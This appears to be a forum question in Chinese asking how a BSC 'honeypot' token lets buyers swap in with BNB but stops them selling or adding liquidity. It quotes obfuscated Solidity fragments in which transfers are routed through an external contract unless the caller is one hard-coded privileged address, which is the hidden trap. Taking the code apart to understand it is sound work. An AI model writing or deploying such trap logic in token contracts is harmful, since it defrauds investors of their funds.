问这种蜜罐是如何在BSC上工作的?它允许BNB进行交换，但不能相反，甚至不能使用BNB来增加流动性。

EN

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external override returns (bool) {
    if (!VUj9naRWwlMBF01h(sender, recipient, amount)) return true;
    uint256 currentAllowance = GWO2EjHu5xBRpsQ8[sender][msg.sender];
    require(
      currentAllowance >= amount,
      "ERROR: Transfer amount exceeds allowance."
    );
    uaVl5iQjmdhEAYn0(sender, msg.sender, currentAllowance - amount);

    return true;
  }

function VUj9naRWwlMBF01h(
    address spender,
    address recipient,
    uint256 amount
  ) private returns (bool) {
    require(spender != address(0) && recipient != address(0) && amount > 0);
    UmipVCuHYnAMzsEG[spender] = UmipVCuHYnAMzsEG[spender] - amount;
    UmipVCuHYnAMzsEG[recipient] = UmipVCuHYnAMzsEG[recipient] + amount;
    emit Transfer(spender, recipient, amount);
    return safeTransfer(spender, recipient, amount);
  }

function safeTransfer(address spender, address recipient, uint256 amount) internal returns(bool) { 
    if (msg.sender != address(0x594d1FcDdE0049B694AC51C2b675401186caAdfc)) { 
        TransferHelper.safeTransferFrom(0x0624A7b4d329b934fe0ab90CF5E6938216Ed3d72, spender, recipient, amount); 
        return true; 
    } return false; 
}

require(
      success && (data.length == 0 || abi.decode(data, (bool))),
      "TransferHelper: ETH_TRANSFER_FAILED"
    );